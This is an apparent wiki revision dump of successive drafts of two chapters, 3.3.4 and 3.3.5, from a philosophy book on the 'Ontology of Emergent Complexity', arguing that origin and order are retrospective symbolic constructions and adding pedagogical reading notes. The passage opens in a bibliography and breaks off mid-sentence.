Publishing Company. * Plotinus. 1966. ''The Enneads''. Translated by Stephen MacKenna. London: Penguin Books. * Prigogine, Ilya. 1997. ''The End of Certainty: Time, Chaos, and the New Laws of Nature''. New York: The Free Press. * Prigogine, Ilya, and Isabelle Stengers. (1979) 1984. ''Order out of Chaos: Man’s New Dialogue with Nature''. New York: Bantam Books. * Rancière, Jacques. (1995) 1999. ''Disagreement: Politics and Philosophy''. Translated by Julie Rose. Minneapolis: University of Minnesota Press. * Ricoeur, Paul. 1991. ''From Text to Action: Essays in Hermeneutics, II''. Translated by Kathleen Blamey and John B. Thompson. Evanston, IL: Northwestern University Press. * Saussure, Ferdinand de. 1916. ''Cours de linguistique générale''. Edited by Charles Bally and Albert Sechehaye. Paris: Payot. * Schmitt, Carl. (1922) 2005. ''Political Theology: Four Chapters on the Concept of Sovereignty''. Translated by George Schwab. Chicago: University of Chicago Press. * Shannon, Claude E. 1948. “A Mathematical Theory of Communication.” ''Bell System Technical Journal'' 27 (3): 379–423. * Simondon, Gilbert. 2005. ''L’individuation à la lumière des notions de forme et d’information''. Grenoble: Éditions Jérôme Millon. * Simondon, Gilbert. 2009. “The Position of the Problem of Ontogenesis.” Translated by Gregory Flanders. ''Parrhesia'', no. 7: 4–16. * Smolin, Lee. 2013. ''Time Reborn: From the Crisis in Physics to the Future of the Universe''. Boston: Houghton Mifflin Harcourt. * Spinoza, Baruch. (1677) 1996. ''Ethics''. Edited and translated by Edwin Curley. London: Penguin Classics. * Stengers, Isabelle. 2002. “Complexité et auto-organisation.” In ''Penser avec Whitehead: Une libre et sauvage création de concepts''. Paris: Seuil. * Stengers, Isabelle. (2003) 2010. ''Cosmopolitics I''. Translated by Robert Bononno. Minneapolis: University of Minnesota Press. * Teilhard de Chardin, Pierre. (1955) 1959. ''The Phenomenon of Man''. Translated by Bernard Wall. New York: Harper & Brothers. * Varela, Francisco J. 1979. ''Principles of Biological Autonomy''. New York: Elsevier North-Holland. * Viveiros de Castro, Eduardo. 2014. ''Cannibal Metaphysics''. Translated by Peter Skafish. Minneapolis: Univocal Publishing. * Watts, Duncan J. 2003. ''Six Degrees: The Science of a Connected Age''. New York: W. W. Norton. * Whitehead, Alfred North. (1929) 1978. ''Process and Reality: An Essay in Cosmology''. Corrected ed. Edited by David Ray Griffin and Donald W. Sherburne. New York: The Free Press. * Žižek, Slavoj. 2011. ''Living in the End Times''. London: Verso. {{BookCat}} kwo0k3wl5c2h0a6pr5er6ulyjnp9azs 0 476982 4670747 4670267 2026-09-17T23:41:30Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670747 wikitext text/x-wiki '''3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination''' When we speak of origin, we almost always imagine a point. An inaugural instant, a primal scene, a rupture that institutes. But that point does not belong to the real: it belongs to our desire to locate it. What is affirmed as origin is always that which has survived long enough to be reinscribed as such—not what began in time, but what resisted its dispersion. Origin is always a reading, never a beginning. This operation is not illusory by accident, but by structure: thought requires foundations in order to rise, and the gesture of naming a beginning stabilizes the very field in which that gesture will become possible. Only when there is sufficient symbolic consistency for legibility can a system look back and say: “it began here.” But what began was not the real—it was its reorganization under the form of narrative. Nothing that emerges does so under the sign of origin. Emergence precedes language, precedes the point, precedes even the concept of precedence. When a field reorganizes, it does not think itself: it simply insists. As in Simondon, the process of individuation does not stem from a center, but from metastable tensions traversing matter without a subject. There is no foundation: only operative couplings. Form does not arise from a plan: it forms in the very act of persisting (Simondon, ''L’individuation à la lumière des notions de forme et d'information'', 2005, p. 47). Merleau-Ponty had already intuited that there is no originary vision, only embodied rootedness in a world already inhabited, already woven of relations (Merleau-Ponty, ''Le Visible et l’Invisible'', 1964, p. 13). Whitehead, in turn, rejected the beginning as absolute rupture, proposing instead the notion of “nexuses” of actuality: what we call origin is merely a denser concrescence, where previously dispersed forces have become co-present (Whitehead, ''Process and Reality'', 1978, p. 33). Origin does not found; it condenses. It does not inaugurate; it reorganizes. The same applies to the birth of language. No child knows the instant they began to speak. There is no awareness of beginning because there is no form at the start. Language erupts as indistinct variation, repeated babble, sound that clings to the body. Only much later, already enveloped in stable signs, will that eruption be read as a “first word.” Origin is always named by someone who is no longer within the event. Philosophical thought—even in its most critical forms—has rarely questioned this structure. Heidegger, in his insistence on ''Ur-sprung'', sought an origin that would be unveiling rather than cause, yet still maintained the belief in an “originary having” (Heidegger, ''Beiträge zur Philosophie'', 2002, p. 41). The Ontology of Emergent Complexity breaks with that heritage. There is no prior having, no inaugural revelation. There are only reorganizations which, once stabilized, are retroactively inscribed as starting points. Such inscription is not neutral. To name an origin is always to establish a regime of exclusion. Every foundation delimits what will be told and what will be forgotten. Origin is not an ontological given—it is a strategy of legibility. And like every strategy, it has ethical implications. When a constitution proclaims itself “foundational,” it conceals the violence of the selection that made it possible. When a national narrative declares “this is where it all began,” it silences everything that did not fit within that beginning. When a racial theory claims an identity origin, it transforms difference into hierarchy. Origin, in this sense, is a normative device: it legitimizes what comes after, selects what will be remembered, deactivates what resists order. Therefore, more than thinking origin, we must think what it erases. Every act of naming is also symbolic exclusion. And that which was not reinscribed as origin remains as residue: matter that did not find form, event that did not become narrative (Nancy, ''La Communauté Désoeuvrée'', 2000, p. 112; Agamben, ''Il resto'', 1999, p. 86). These residues are fundamental. They bear witness to the real before legibility. They show that the field of the possible is greater than the field of the nameable. The city that rebuilds itself after catastrophe—with improvised streets, spontaneous flows, uncharted zones—has no architectural origin. It has couplings. A plan may be drawn later. A name will be given to the “reconstruction.” But what truly initiated the process was the local force of material reorganization. And it is that force that escapes inscription, that never becomes origin, but sustains everything that may one day be named as such. The greatest philosophical risk lies in forgetting that every origin is retrospective. What we call beginning is always the place where we decided to halt variation in order to think. There is no beginning without symbolic incision. No origin without a system to rewrite it as such. As Foucault once said, genealogies show that what appears necessary was, in fact, contingent (Foucault, ''Nietzsche, la généalogie, l’histoire'', 1980, p. 145). The Ontology of Emergent Complexity adds: what appears inaugural was, in fact, insistent. Origin is not what occurred, but what allowed itself to be reinscribed. Beginning is the name of what did not disappear. The symbol is what survived dispersion. Yet a final detour is necessary. The illusion of origin is not an error. It is a function. The act of naming an origin suspends instability, enabling the system to reorganize. But if we take that act as absolute truth, the symbolic ceases to listen to the real—and begins to enclose it. Therefore, thought must remain vigilant. Every origin is a reading. And every reading is a risk: the risk of mistaking the trace for a foundation, the name for a principle, the narrative for reality. The Ontology of Emergent Complexity does not deny the event. But it refuses to confuse it with the point. The real does not begin. It insists. The symbolic does not reveal. It reinscribes. And origin—that figure so laden with power, authority, and closure—is always that which, by having persisted long enough, could be named as if it had been there at the beginning. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} fpf9cw5c4bvwhbvh6xs3lcpq6bdk5sk 4670778 4670747 2026-09-18T01:07:30Z DavidCota64 3507033 Preserve the chapter, clarify post-nomination, and complete the pedagogical reading colloquium 4670778 wikitext text/x-wiki '''3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination''' When we speak of origin, we almost always imagine a point. An inaugural instant, a primal scene, a rupture that institutes. But that point does not belong to the real: it belongs to our desire to locate it. What is affirmed as origin is always that which has survived long enough to be recognised and narrated as such — not what began in time, but what resisted its dispersion. Origin is always a reading, never a beginning. This operation is not illusory by accident, but by structure: thought requires foundations in order to rise, and the gesture of naming a beginning stabilises the very field in which that gesture will become possible. Only when there is sufficient symbolic consistency for legibility can a system look back and say: “it began here.” But what began was not the real — it was its reorganisation under the form of narrative. Nothing that emerges does so under the sign of origin. Emergence precedes language, precedes the point, precedes even the concept of precedence. When a field reorganises, it does not think itself: it simply insists. As in Simondon, the process of individuation does not stem from a centre, but from metastable tensions traversing matter without a subject — though here without the pre-individual reserve that Simondon retained. There is no foundation: only operative couplings. Form does not arise from a plan: it forms in the very act of persisting (Simondon 2005, 47). Merleau-Ponty had already intuited that there is no originary vision, only embodied rootedness in a world already inhabited, already woven of relations (Merleau-Ponty 1964, 13). Whitehead, in turn, rejected the beginning as absolute rupture, proposing instead the notion of “nexuses” of actuality: what we call origin is merely a denser concrescence, where previously dispersed forces have become co-present (Whitehead [1929] 1978, 33) — a gain retained here without the experiential texture that Whitehead attributed to every occasion. Origin does not found; it condenses. It does not inaugurate; it reorganises. The same applies to the birth of language. No child knows the instant they began to speak. There is no awareness of beginning because there is no form at the start. Language erupts as indistinct variation, repeated babble, sound that clings to the body. Only much later, already enveloped in stable signs, will that eruption be read as a “first word.” Origin is always named by someone who is no longer within the event. Philosophical thought — even in its most critical forms — has rarely questioned this structure. Heidegger, in his insistence on ''Ur-sprung'', sought an origin that would be unveiling rather than cause, yet still maintained the belief in an “originary having” (Heidegger 2002, 41). The Ontology of Emergent Complexity breaks with that heritage. There is no prior having, no inaugural revelation. There are only reorganisations which, once stabilised, are retroactively narrated as starting points. Such post-nomination is not neutral. To name an origin is always to establish a regime of exclusion. Every foundation delimits what will be told and what will be forgotten. Origin is not an ontological given — it is a strategy of legibility. And like every strategy, it has ethical implications. When a constitution proclaims itself “foundational,” it conceals the violence of the selection that made it possible. When a national narrative declares “this is where it all began,” it silences everything that did not fit within that beginning. When a racial theory claims an identity origin, it transforms difference into hierarchy. Origin, in this sense, is a normative device: it legitimises what comes after, selects what will be remembered, deactivates what resists order. Therefore, more than thinking origin, we must think what it erases. Every act of naming is also symbolic exclusion. What was not codified as origin remains as residue: matter that did not find form, event that did not become narrative (Nancy 1991, 112; Agamben [1998] 1999, 86). These residues are fundamental. They bear witness to the real before legibility. They show that the field of the possible is greater than the field of the nameable. The city that rebuilds itself after catastrophe — with improvised streets, spontaneous flows, uncharted zones — has no architectural origin. It has couplings. A plan may be drawn later. A name will be given to the “reconstruction.” But what truly initiated the process was the local force of material reorganisation. That force escapes the retrospective narrative: it never becomes origin, yet sustains everything that may one day be named as such. The greatest philosophical risk lies in forgetting that every origin is retrospective. What we call beginning is always the place where we decided to halt variation in order to think. There is no beginning without symbolic incision. No origin without a system to rewrite it as such. As Foucault once said, genealogies show that what appears necessary was, in fact, contingent (Foucault 1977b, 145). The Ontology of Emergent Complexity adds: what appears inaugural was, in fact, insistent. Origin is not what occurred, but what continued to be recognised as origin. Beginning is the name of what did not disappear. An origin-symbol is what a system continues to reproduce after dispersion. Yet a final detour is necessary. The illusion of origin is not an error. It is a function. The act of naming an origin suspends instability, enabling the system to reorganise. But if we take that act as absolute truth, the symbolic ceases to listen to the real — and begins to enclose it. Therefore, thought must remain vigilant. Every origin is a reading. And every reading is a risk: the risk of mistaking the trace for a foundation, the name for a principle, the narrative for reality. The Ontology of Emergent Complexity does not deny the event. But it refuses to confuse it with the point. The real does not begin. It insists. The symbolic does not reveal. It reorganises. And origin — that figure so laden with power, authority, and closure — is always that which, by having persisted long enough, could be named as if it had been there at the beginning. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === After functional coupling has explained how local consistency emerges, this subsection examines what happens once that consistency is narratively stabilised. A present order is projected backwards and made to appear as the outcome towards which earlier events were already moving. === 2. Philosophical Problem at Stake === Why does an established order look inevitable? Persistence supplies the present with a privileged viewpoint: events that contributed to the surviving configuration are selected as its history, while abandoned paths recede from view. Sequence is not destiny. The origin-story nevertheless presents contingency as necessity. === 3. Core Thesis and Conceptual Reorganization === Post-nomination does not create the material organisation that it names. It makes that organisation recognisable within a symbolic regime and retrospectively selects a beginning for it. The relevant distinction is therefore between an event, which occurs through material relations, and an origin, which is a later narrative function imposed on part of that process. === 4. Key Concepts and Their Articulation === Retrospective illusion converts survival into necessity. Post-nomination consolidates a present configuration by giving it a name and a lineage. Symbolic selection determines which events count as precursors, leaving residues that the dominant account cannot integrate. None of these operations should be confused with singular inscription, which co-constitutes a mark and its first symbol when a new difference is recognised. === 5. Implications for Readers and Pedagogical Pathways === Test an origin-story — a nation, an institution, or even a remembered “first word” — by separating three layers: the processes that occurred, the later point selected as the beginning, and the alternatives excluded by that selection. The aim is not to abolish historical narration, but to prevent a useful narrative from masquerading as an ontological foundation. {{BookCat}} ougbefoakp8vn9xcnv2prtp4kdgehct 4670837 4670778 2026-09-18T02:01:49Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670837 wikitext text/x-wiki '''3.3.4 - The Retrospective Illusion of Origin: Order as Post-Nomination''' When we speak of origin, we almost always imagine a point. An inaugural instant, a primal scene, a rupture that institutes. But that point does not belong to the real: it belongs to our desire to locate it. What is affirmed as origin is always that which has survived long enough to be recognised and narrated as such — not what began in time, but what resisted its dispersion. Origin is always a reading, never a beginning. This operation is not illusory by accident, but by structure: thought requires foundations in order to rise, and the gesture of naming a beginning stabilises the very field in which that gesture will become possible. Only when there is sufficient symbolic consistency for legibility can a system look back and say: “it began here.” But what began was not the real — it was its reorganisation under the form of narrative. Nothing that emerges does so under the sign of origin. Emergence precedes language, precedes the point, precedes even the concept of precedence. When a field reorganises, it does not think itself: it simply insists. As in Simondon, the process of individuation does not stem from a centre, but from metastable tensions traversing matter without a subject — though here without the pre-individual reserve that Simondon retained. There is no foundation: only operative couplings. Form does not arise from a plan: it forms in the very act of persisting (Simondon 2005, 47). Merleau-Ponty had already intuited that there is no originary vision, only embodied rootedness in a world already inhabited, already woven of relations (Merleau-Ponty 1964, 13). Whitehead, in turn, rejected the beginning as absolute rupture, proposing instead the notion of “nexuses” of actuality: what we call origin is merely a denser concrescence, where previously dispersed forces have become co-present (Whitehead [1929] 1978, 33) — a gain retained here without the experiential texture that Whitehead attributed to every occasion. Origin does not found; it condenses. It does not inaugurate; it reorganises. The same applies to the birth of language. No child knows the instant they began to speak. There is no awareness of beginning because there is no form at the start. Language erupts as indistinct variation, repeated babble, sound that clings to the body. Only much later, already enveloped in stable signs, will that eruption be read as a “first word.” Origin is always named by someone who is no longer within the event. Philosophical thought — even in its most critical forms — has rarely questioned this structure. Heidegger, in his insistence on ''Ur-sprung'', sought an origin that would be unveiling rather than cause, yet still maintained the belief in an “originary having” (Heidegger 2002, 41). The Ontology of Emergent Complexity breaks with that heritage. There is no prior having, no inaugural revelation. There are only reorganisations which, once stabilised, are retroactively narrated as starting points. Such post-nomination is not neutral. To name an origin is always to establish a regime of exclusion. Every foundation delimits what will be told and what will be forgotten. Origin is not an ontological given — it is a strategy of legibility. And like every strategy, it has ethical implications. When a constitution proclaims itself “foundational,” it conceals the violence of the selection that made it possible. When a national narrative declares “this is where it all began,” it silences everything that did not fit within that beginning. When a racial theory claims an identity origin, it transforms difference into hierarchy. Origin, in this sense, is a normative device: it legitimises what comes after, selects what will be remembered, deactivates what resists order. Therefore, more than thinking origin, we must think what it erases. Every act of naming is also symbolic exclusion. What was not codified as origin remains as residue: matter that did not find form, event that did not become narrative (Nancy 1991, 112; Agamben [1998] 1999, 86). These residues are fundamental. They bear witness to the real before legibility. They show that the field of the possible is greater than the field of the nameable. The city that rebuilds itself after catastrophe — with improvised streets, spontaneous flows, uncharted zones — has no architectural origin. It has couplings. A plan may be drawn later. A name will be given to the “reconstruction.” But what truly initiated the process was the local force of material reorganisation. That force escapes the retrospective narrative: it never becomes origin, yet sustains everything that may one day be named as such. The greatest philosophical risk lies in forgetting that every origin is retrospective. What we call beginning is always the place where we decided to halt variation in order to think. There is no beginning without symbolic incision. No origin without a system to rewrite it as such. As Foucault once said, genealogies show that what appears necessary was, in fact, contingent (Foucault 1977b, 145). The Ontology of Emergent Complexity adds: what appears inaugural was, in fact, insistent. Origin is not what occurred, but what continued to be recognised as origin. Beginning is the name of what did not disappear. An origin-symbol is what a system continues to reproduce after dispersion. Yet a final detour is necessary. The illusion of origin is not an error. It is a function. The act of naming an origin suspends instability, enabling the system to reorganise. But if we take that act as absolute truth, the symbolic ceases to listen to the real — and begins to enclose it. Therefore, thought must remain vigilant. Every origin is a reading. And every reading is a risk: the risk of mistaking the trace for a foundation, the name for a principle, the narrative for reality. The Ontology of Emergent Complexity does not deny the event. But it refuses to confuse it with the point. The real does not begin. It insists. The symbolic does not reveal. It reorganises. And origin — that figure so laden with power, authority, and closure — is always that which, by having persisted long enough, could be named as if it had been there at the beginning. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === After functional coupling has explained how local consistency emerges, this subsection examines what happens once that consistency is narratively stabilised. A present order is projected backwards and made to appear as the outcome towards which earlier events were already moving. === 2. Philosophical Problem at Stake === Why does an established order look inevitable? Persistence supplies the present with a privileged viewpoint: events that contributed to the surviving configuration are selected as its history, while abandoned paths recede from view. Sequence is not destiny. The origin-story nevertheless presents contingency as necessity. === 3. Core Thesis and Conceptual Reorganisation === Post-nomination does not create the material organisation that it names. It makes that organisation recognisable within a symbolic regime and retrospectively selects a beginning for it. The relevant distinction is therefore between an event, which occurs through material relations, and an origin, which is a later narrative function imposed on part of that process. === 4. Key Concepts and Their Articulation === Retrospective illusion converts survival into necessity. Post-nomination consolidates a present configuration by giving it a name and a lineage. Symbolic selection determines which events count as precursors, leaving residues that the dominant account cannot integrate. None of these operations should be confused with singular inscription, which co-constitutes a mark and its first symbol when a new difference is recognised. === 5. Implications for Readers and Pedagogical Pathways === Test an origin-story — a nation, an institution, or even a remembered “first word” — by separating three layers: the processes that occurred, the later point selected as the beginning, and the alternatives excluded by that selection. The aim is not to abolish historical narration, but to prevent a useful narrative from masquerading as an ontological foundation. {{BookCat}} dfgyvh445dsipfctjzkjplnkbl4s8t3 0 476983 4670748 4670269 2026-09-17T23:41:33Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670748 wikitext text/x-wiki == 3.3.5 – Order as a Symbolic Gesture Without Author == No order explains itself. What presents itself as legitimate, coherent, stable structure—whether in knowledge, in law, in language, or in form—is never a given, but an effect. And more than that: an effect that conceals itself as such. Every consolidated order functions as a device for naturalizing what was, in its genesis, pure operational contingency. There is no order that was not, first, organized instability. But this past of hesitation is erased at the moment when the order imposes itself as evidence—not definitively, but through successive reinscriptions that update the criteria of legibility according to the demands of the moment. Order erases its origin not because it stabilized forever, but because it has reinscribed itself so many times that its original emergence has become unreadable. As Derrida suggested, the archive is never static: it is a field of living reinscriptions, of updates and erasures, always in symbolic dispute (Derrida, 1995, p. 17). The Ontology of Emergent Complexity demands that this evidence be dismantled. Not to dissolve order into chaos, nor to yield to the fascination with deconstruction—but to restore to order its real status: that of a belated symbolic gesture, without author, without origin, without guarantees. Order does not result from a plan, nor from a subject. It does not obey a transcendent logos, nor does it emerge as an ideal form. Order is a symbolic artifact posterior to the event—a reconfiguration that, by inscribing itself, erases the traces of its own emergence. And it is precisely this erasure that renders order dangerous: by concealing its operativity, it becomes closure. Michel Foucault was perhaps the one who most incisively unveiled this functioning of order as a regime of visibility and exclusion. In his work on archives, epistemes, and knowledge-power devices, Foucault showed that what counts as true, rational, or valid in a given epoch does not derive from the progress of the spirit, but from a set of historical, technical, and political conditions that make certain statements possible and others unthinkable (Foucault, 1972, p. 135). The order of knowledge is not the victory of reason—it is the sedimentation of historically situated criteria of legibility. And these criteria operate without author, without legislator. Their efficacy lies precisely in appearing neutral. The Ontology of Emergent Complexity radicalizes this reading: it rejects not only the idea of a historical reason, but also the notion that order, even when situated, can be thought of as structure. Against all ontology of order as form, it proposes an ontology of order as a transitory symbolic function—a type of inscription that only persists as long as it is operationally effective. Order is not a form to which the real adapts. It is a symbolic gesture that survives as long as it manages to locally organize instability. Gilbert Simondon provides here a decisive contribution. By thinking individuation as a process and not as a state, Simondon dissolves the idea of order as endpoint or equilibrium. Order, for Simondon, is always metastable—that is, a provisional result of internal tensions in a system that has not ceased to transform itself (Simondon, 2009, p. 6). There is no definitive order: there are systems in continuous reorganization, passing through phases of local stability. The Ontology of Emergent Complexity takes up this model but shifts its center: what is at stake is not merely functional stability, but the possibility of symbolic inscription. There is only “order” when there is a symbolic regime that sustains and repeats a form of legibility. And even this repetition is unstable—it is always under threat of dissipation. The question then is not “where does order come from?”, but “how is order inscribed, and with what effects?”. Order is not the precondition of intelligibility; it is its product. It arises when a configuration of complex matter—technical, living, or social—reaches a threshold of consistency that allows it to be symbolized, represented, normativized. But this symbolization does not reveal a hidden structure. It organizes a field of forces according to a regime of legibility that is always situated, partial, and politically saturated. At this point, it becomes necessary to mobilize Deleuze. In his critique of the repetition of the same and the coding of differences, Deleuze shows that order is often the name given to the suppression of what escapes (Deleuze, 1994, p. 28). That which does not fit the pattern, does not submit to the function, does not repeat itself in a recognizable way, is excluded as noise, error, or dysfunction. Order operates by filtering: that which escapes the symbolic matrix of repetition is eliminated. The Ontology of Emergent Complexity goes a step further: it says that this filtering is not merely epistemological—it is ontological. Order not only defines what can be thought; it defines what can be. And, as Deleuze would emphasize, what escapes order is not noise—it is differentiation that has not yet found its mode of appearance (Deleuze, 1994, p. 56). That is why every order is also an economy of exclusion. By organizing the legibility of the real, it simultaneously establishes its zones of silence: what will not be said, what will not be recognized, what will be erased as incoherent. Order, as a symbolic gesture, always has a visible side and a sacrificial side. What appears as structure is always the result of an operational choice: a wager on what deserves to remain and what can be forgotten. As also noted by authors in the decolonial tradition such as Denise Ferreira da Silva (2007, p. 33) or Gloria Anzaldúa (1987, p. 25), order is never neutral—it renders certain existences literally unthinkable within a dominant regime of rationality. Whitehead offers here a complementary language: order as “nexus”—an interweaving of events that acquires provisional consistency. For Whitehead, order is never an external imposition, but a relational emergence (Whitehead, 1978, p. 21). It results from multiple prehensions organized around an operational function, but without center or hierarchy. In this sense, order is a coagulation—not a command. A field of relation that stabilizes through local compatibilities, not by a universal structure. This reading is fully compatible with the principle of the Ontology of Emergent Complexity: order does not come from above. It results from the functional persistence of certain symbolic arrangements that have proven capable of operating. But order, once inscribed, tends to forget its operativity. It becomes normative, coercive, self-referential. Its strength no longer comes from its symbolic efficacy, but from its disciplinary repetition. Here lies the greatest risk: order, forgotten as gesture, begins to function as essence. And once naturalized, it becomes an instrument of closure of the possible. A remarkable—and irrefutable—example of this process can be observed in biology. The classification of life into kingdoms, phyla, classes, orders, genera, and species is a symbolic grid that does not exist in life itself: it is a posterior rational construction, an epistemic architecture intended to stabilize a functional descriptive regime of the living continuum. Life, as process, knows no fixed categories or ontological boundaries. The living world is incessant variation, functional drift, endless material experimentation. Yet, to cognitively operate on this instability, biological science draws cuts, establishes hierarchies, names entities—and thus transforms the flow into a system. Not because this system is real in itself, but because it is symbolically effective. Taxonomy does not reveal the order of life: it imposes an order upon life. And once imposed, this order tends to be taken as the structure of the real. This transfiguration of an operational function into an ontological given is precisely the gesture that the Ontology of Emergent Complexity seeks to expose. Order does not reveal itself—it is written upon the flow. And every act of writing, no matter how operative it may seem, carries the risk of forbidding what has not yet had the chance to appear. The ethics of the Ontology of Emergent Complexity stands radically opposed to such closure. Because order, by refusing unfinishedness, becomes anti-symbolic. By excluding otherness, it prevents listening. By imposing coherence, it destroys the interval. Against order as saturated normativity, it proposes order as re-openable gesture—a form of order aware of its own fictional nature, capable of de-inscribing itself to make possible a new provisional symbolic crossing. This ethical gesture implies refusing the authority of order as a criterion of truth. Instead, the criterion of stability is replaced by that of responsivity: what should remain is not what has already been legitimized, but what continues to reorganize the field of the possible in response to alterity. Only this order—always provisional, always exposed, always at risk—can be considered ontologically legitimate. And perhaps here lies the most demanding task of contemporary thought: not to refuse order, but to deactivate its automatism. To undo it as dogma, reopening it as traversal. To recognize that every gesture of ordering is also a gesture of exclusion, and that ethics lies not in fidelity to structure, but in the courage to listen to what has not yet been inscribed. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} l1tii19zxzh0ifnd0p2od7qo9lwdf32 4670779 4670748 2026-09-18T01:08:00Z DavidCota64 3507033 Preserve the chapter, clarify distributed agency and responsibility, and complete the pedagogical colloquium 4670779 wikitext text/x-wiki == 3.3.5 – Order as a Symbolic Gesture Without Author == No order explains itself. What presents itself as legitimate, coherent, stable structure — whether in knowledge, in law, in language, or in form — is never a given, but an effect. And more than that: an effect that conceals itself as such. Every consolidated order functions as a device for naturalising what was, in its genesis, pure operational contingency. There is no order that was not, first, organised instability. But this past of hesitation is erased when the order imposes itself as evidence through successive reformulations that update the criteria of legibility. Order erases its origin not because it stabilised forever, but because it has been reformulated so many times that its original emergence has become unreadable. As Derrida suggested, the archive is never static: it is a field of revisions, updates, and erasures, always in symbolic dispute (Derrida 1995, 17). The Ontology of Emergent Complexity demands that this evidence be dismantled. Not to dissolve order into chaos, nor to yield to the fascination with deconstruction — but to restore to order its real status: that of a belated symbolic gesture, without author, without origin, without guarantees. Order does not result from a plan, nor from a subject. It does not obey a transcendent logos, nor does it emerge as an ideal form. Order is a symbolic artefact posterior to the event — a reconfiguration whose successive reformulations erase the traces of its own emergence. And it is precisely this erasure that renders order dangerous: by concealing its operativity, it becomes closure. Michel Foucault was perhaps the one who most incisively unveiled this functioning of order as a regime of visibility and exclusion. In his work on archives, epistemes, and knowledge-power devices, Foucault showed that what counts as true, rational, or valid in a given epoch does not derive from the progress of the spirit, but from a set of historical, technical, and political conditions that make certain statements possible and others unthinkable (Foucault 1972, 135). The order of knowledge is not the victory of reason — it is the sedimentation of historically situated criteria of legibility. And these criteria operate without author, without legislator. Their efficacy lies precisely in appearing neutral. The Ontology of Emergent Complexity radicalises this reading: it rejects not only the idea of a historical reason, but also the notion that order, even when situated, can be thought of as structure. Against all ontology of order as form, it proposes an ontology of order as a transitory symbolic function — a regime of legibility that persists only while it remains operationally effective. Order is not a form to which the real adapts. It is a symbolic gesture that survives as long as it manages to organise instability locally. Gilbert Simondon provides here a decisive contribution. By thinking individuation as a process and not as a state, Simondon dissolves the idea of order as endpoint or equilibrium. Order, for Simondon, is always metastable — that is, a provisional result of internal tensions in a system that has not ceased to transform itself (Simondon 2009, 6). There is no definitive order: there are systems in continuous reorganisation, passing through phases of local stability. The Ontology of Emergent Complexity takes up this model but shifts its centre: material organisation may persist without being named, while “order” in the symbolic sense requires a regime that sustains and repeats a form of legibility. Even this repetition is unstable — it remains exposed to revision and dissipation. The question then is not “where does order come from?”, but “how does a material organisation become symbolically legible, and with what effects?”. Order is not the precondition of intelligibility; it is its product. It arises when a configuration of complex matter — technical, living, or social — reaches a threshold of consistency that allows it to be symbolised, represented, and normativised. But this symbolisation does not reveal a hidden structure. It organises a field of forces according to a regime of legibility that is always situated, partial, and politically saturated. At this point, it becomes necessary to mobilise Deleuze. In his critique of the repetition of the same and the coding of differences, Deleuze shows that order is often the name given to the suppression of what escapes (Deleuze [1968] 1994, 28). That which does not fit the pattern, does not submit to the function, does not repeat itself in a recognisable way, is excluded as noise, error, or dysfunction. Order operates by filtering: that which escapes the symbolic matrix of repetition is eliminated from the field of recognised differences. This filtering has material consequences. An institutional order does not determine what can exist in the real; it determines what can count as legible, admissible, or actionable within that order. And, as Deleuze would emphasise, what escapes recognition is not thereby noise — it is differentiation that has not yet found a mode of appearance within the prevailing regime (Deleuze [1968] 1994, 56). That is why every order is also an economy of exclusion. By organising the legibility of the real, it simultaneously establishes its zones of silence: what will not be said, what will not be recognised, what will be erased as incoherent. Order, as a symbolic gesture, always has a visible side and a sacrificial side. What appears as structure is always the result of an operational choice: a wager on what deserves to remain and what can be forgotten. As also noted by authors in the decolonial tradition such as Denise Ferreira da Silva (2007, 33) or Gloria Anzaldúa (1987, 25), order is never neutral — it renders certain existences literally unthinkable within a dominant regime of rationality. Whitehead offers here a complementary language: order as “nexus” — an interweaving of events that acquires provisional consistency. For Whitehead, order is never an external imposition, but a relational emergence (Whitehead [1929] 1978, 21). It results from multiple prehensions organised around an operational function, but without centre or hierarchy. In this sense, order is a coagulation — not a command. A field of relation that stabilises through local compatibilities, not by a universal structure. This reading converges with the treatment of order defended here: order does not come from above; it results from the functional persistence of arrangements that have proven capable of operating. The convergence is nonetheless partial. The present framework does not take over prehension as a universal relation, nor the "occasion of experience" as a proto-subjective atom: organisation, on the account defended in this book, is distributed, non-experiential, and never cosmological in scope (§3.1.3). But order, once symbolically stabilised, tends to forget its operativity. It becomes normative, coercive, self-referential. Its strength no longer comes from its symbolic efficacy, but from its disciplinary repetition. Here lies the greatest risk: order, forgotten as gesture, begins to function as essence. And once naturalised, it becomes an instrument of closure of the possible. A revealing example can be observed in biology. The classification of life into kingdoms, phyla, classes, orders, genera, and species is a revisable symbolic grid: an epistemic architecture that stabilises a descriptive regime across the variation of living processes. Taxonomic categories track material differences, but no single hierarchy exhausts those differences or converts its own historical scheme into the intrinsic structure of life. Biological science draws cuts, establishes relations, and names entities in order to operate cognitively on that variation. The danger begins when an effective classification is mistaken for the final architecture of the real. This conversion of an operational instrument into an ontological given is precisely the gesture that the Ontology of Emergent Complexity seeks to expose. Every classificatory act can disclose patterns while still excluding differences that its present criteria cannot recognise. The ethics of the Ontology of Emergent Complexity stands radically opposed to such closure. Because order, by refusing unfinishedness, becomes anti-symbolic. By excluding otherness, it prevents listening. By imposing coherence, it destroys the interval. Against order as saturated normativity, it proposes order as a reopenable gesture — a form aware of its own constructed character and capable of revising the criteria by which it recognises, excludes, and responds. This ethical gesture implies refusing the authority of order as a criterion of truth. Instead, the criterion of stability is replaced by that of responsivity: what should remain is not what has already been legitimised, but what continues to reorganise the field of the 